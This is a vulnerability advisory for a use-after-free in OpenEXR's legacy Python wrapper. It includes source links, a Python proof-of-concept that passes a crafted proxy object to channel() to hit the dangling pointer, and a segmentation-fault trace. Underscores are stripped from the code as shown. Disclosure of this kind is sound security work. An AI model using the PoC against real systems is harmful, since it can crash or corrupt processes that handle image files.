PT-2026-59482 · Pypi · Openexr

Published

2026-07-13

·

Updated

2026-07-13

CVSS v3.1

7.5

High

VectorAV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

There is a use-after-free in PyObject StealAttrString of pyOpenEXR old.cpp.
This bug was found with [ZeroPath](https://zeropath.com/?utm source=joshua.hu).

Details

The legacy adapter defines PyObject StealAttrString that calls PyObject GetAttrString to obtain a new reference, immediately decrefs it, and returns the pointer. Callers then pass this dangling pointer to APIs like PyLong AsLong/PyFloat AsDouble, resulting in a use-after-free. This is invoked in multiple places (e.g., reading PixelType.v, Box2i, V2f, etc.).
https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR old.cpp#L109-L115
https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR old.cpp#L380-L387
https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR old.cpp#L1258-L1286

PoC

py
import OpenEXR, Imath

# Any small EXR will do - use one from OpenEXR test images or any project file
path = "any small.exr"

# Property returns a fresh temporary int subclass, so the buggy helper
# decrefs it to zero before passing it to PyLong AsLong => UAF.
class FreshInt(int):
  def  new (cls, v):
    return int. new (cls, v)
  def  del (self):
    # stir the heap to make the UAF obvious under PYTHONMALLOC=debug
     = bytearray(1 000 000)

class PixelTypeProxy:
  @property
  def v(self):
    return FreshInt(Imath.PixelType.FLOAT) # any small value is fine

f = OpenEXR.InputFile(path)
# channel() forces the wrapper to read pixel type.v using the buggy helper
# which returns a dangling pointer
print("About to trigger UAF...")
f.channel("R", pixel type=PixelTypeProxy())
print("If you get here without a crash, try again with AddressSanitizer.")
running
shell
PYTHONMALLOC=debug PYTHONDEVMODE=1 python3 pt.py
About to trigger UAF...
Fatal Python error: Segmentation fault

Current thread 0x00000001f209a140 (most recent call first):
 File "/private/tmp/i/pt.py", line 24 in <module>

Current thread's C stack trace (most recent call first):
 Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at Py DumpStack+0x44 [0x1058c00f8]
 Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at faulthandler dump c stack+0x58 [0x1058d2f3c]
 Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at faulthandler fatal error+0x160 [0x1058d2e00]
 Binary file "/usr/lib/system/libsystem platform.dylib", at sigtramp+0x38 [0x1841796a4]
 Binary file "/private/tmp/i/lib/python3.14/site-packages/OpenEXR.cpython-314-darwin.so", at Z16init OpenEXR oldP7 object+0x1010 [0x105cb9e94]
 Binary file "/private/tmp/i/lib/python3.14/site-packages/OpenEXR.cpython-314-darwin.so", at Z16init OpenEXR oldP7 object+0x1010 [0x105cb9e94]
 Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at method vectorcall VARARGS KEYWORDS+0x94 [0x1057032bc]
 Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyObject Vectorcall+0x58 [0x1056f5044]
 Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyEval EvalFrameDefault+0x9cac [0x1058312d8]
 Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyEval EvalCode+0xf8 [0x105827130]
 Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at run mod+0xac [0x1058a2b60]
 Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pyrun file+0xa4 [0x1058a123c]
 Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyRun SimpleFileObject+0x100 [0x1058a07c0]
 Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyRun AnyFileObject+0x50 [0x1058a0424]
 Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pymain run file obj+0xa4 [0x1058cfcd8]
 Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pymain run file+0x48 [0x1058cfa20]
 Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at Py RunMain+0x354 [0x1058cef60]
 Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pymain main+0xe8 [0x1058cf3f8]
 Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at Py BytesMain+0x28 [0x1058cf494]
 Binary file "/usr/lib/dyld", at start+0x17bc [0x183d9eb98]

Extension modules: numpy. core. multiarray umath, numpy.linalg. umath linalg (total: 2)
Segmentation fault: 11   PYTHONMALLOC=debug PYTHONDEVMODE=1 python3 pt.py

Impact

Completely depends on the context. Typical memory stuff related to UAFs.

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾
dbugs@ptsecurity.com

Related Identifiers

PYSEC-2026-2844

Affected Products

Openexr